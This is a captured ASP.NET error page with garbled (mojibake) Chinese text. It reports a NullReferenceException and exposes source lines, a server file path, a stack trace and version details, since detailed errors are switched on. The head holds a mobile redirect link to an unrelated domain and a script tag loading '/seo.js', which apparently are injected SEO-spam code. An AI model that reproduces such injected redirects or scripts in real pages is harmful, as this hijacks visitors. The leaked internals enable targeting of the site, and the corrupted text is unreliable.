鏈皢瀵硅薄寮曠敤璁剧疆鍒板璞＄殑瀹炰緥銆侟/title> <meta name="viewport" content="width=device-width" /> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Consolas","Lucida Console",Monospace;font-size:11pt;margin:0;padding:0.5em;line-height:14pt} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:pointer; } @media screen and (max-width: 639px) { pre { width: 440px; overflow: auto; white-space: pre-wrap; word-wrap: break-word; } } @media screen and (max-width: 479px) { pre { width: 280px; } } </style> <link rel="alternate" media="only screen and(max-width: 640px)" href="http://bmgfk.com" ><script type="text/javascript" src="/seo.js" rel="nofollow"></script></head> <body bgcolor="white"> <span><H1>鈥?鈥濆簲鐢ㄧ▼搴忎腑鐨勬湇鍔″櫒閿欒銆侟hr width=100% size=1 color=silver></H1> <h2> <i>鏈皢瀵硅薄寮曠敤璁剧疆鍒板璞＄殑瀹炰緥銆侟/i> </h2></span> <font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif "> <b> 璇存槑: </b>鎵ц褰撳墠 Web 璇锋眰鏈熼棿锛屽嚭鐜版湭缁忓鐞嗙殑寮傚父銆傝妫€鏌ュ爢鏍堣窡韪俊鎭紝浠ヤ簡瑙ｆ湁鍏宠閿欒浠ュ強浠ｇ爜涓鑷撮敊璇殑鍑哄鐨勮缁嗕俊鎭€ <br><br> <b> 寮傚父璇︾粏淇℃伅: </b>System.NullReferenceException: 鏈皢瀵硅薄寮曠敤璁剧疆鍒板璞＄殑瀹炰緥銆侟br><br> <b>婧愰敊璇?</b> <br><br> <table width=100% bgcolor="#ffffcc"> <tr> <td> <code><pre> 琛 21: id = Convert.ToInt32(Request["id"]); 琛 22: pro = new ProductBLL().GetModel(id); <font color=red>琛 23: proClass = new ProductClassBLL().GetModel(pro.ClassId); </font>琛 24: if (proClass.Is_YiXue) 琛 25: {</pre> </code> </td> </tr> </table> <br> <b> 婧愭枃浠碟 </b> d:\wwwroot\paisennuosw\wwwroot\Science_Nav.ascx.cs<b> 琛孃 </b> 23 <br><br> <b>鍫嗘爤璺熻釜:</b> <br><br> <table width=100% bgcolor="#ffffcc"> <tr> <td> <code><pre> [NullReferenceException: 鏈皢瀵硅薄寮曠敤璁剧疆鍒板璞＄殑瀹炰緥銆俔 Science_Nav.Page_Load(Object sender, EventArgs e) in d:\wwwroot\paisennuosw\wwwroot\Science_Nav.ascx.cs:23 System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +52 System.Web.UI.Control.OnLoad(EventArgs e) +97 System.Web.UI.Control.LoadRecursive() +61 System.Web.UI.Control.LoadRecursive() +134 System.Web.UI.Control.LoadRecursive() +134 System.Web.UI.Control.LoadRecursive() +134 System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +693 </pre> </code> </td> </tr> </table> <br> <hr width=100% size=1 color=silver> <b>鐗堟湰淇℃伅:</b> Microsoft .NET Framework 鐗堟湰:4.0.30319; ASP.NET 鐗堟湰:4.8.4749.0 </font> </body> </html> <!-- 姝ら敊璇〉鍙兘鍖呭惈鏁忔劅淇℃伅锛屽洜涓 ASP.NET 閫氳繃 <customErrors mode="Off"/> 琚厤缃负鏄剧ず璇︾粏閿欒娑堟伅銆傝鑰冭檻鍦ㄧ敓浜х幆澧冧腑浣跨敤 <customErrors mode="On"/> 鎴 <customErrors mode="RemoteOnly"/>銆?->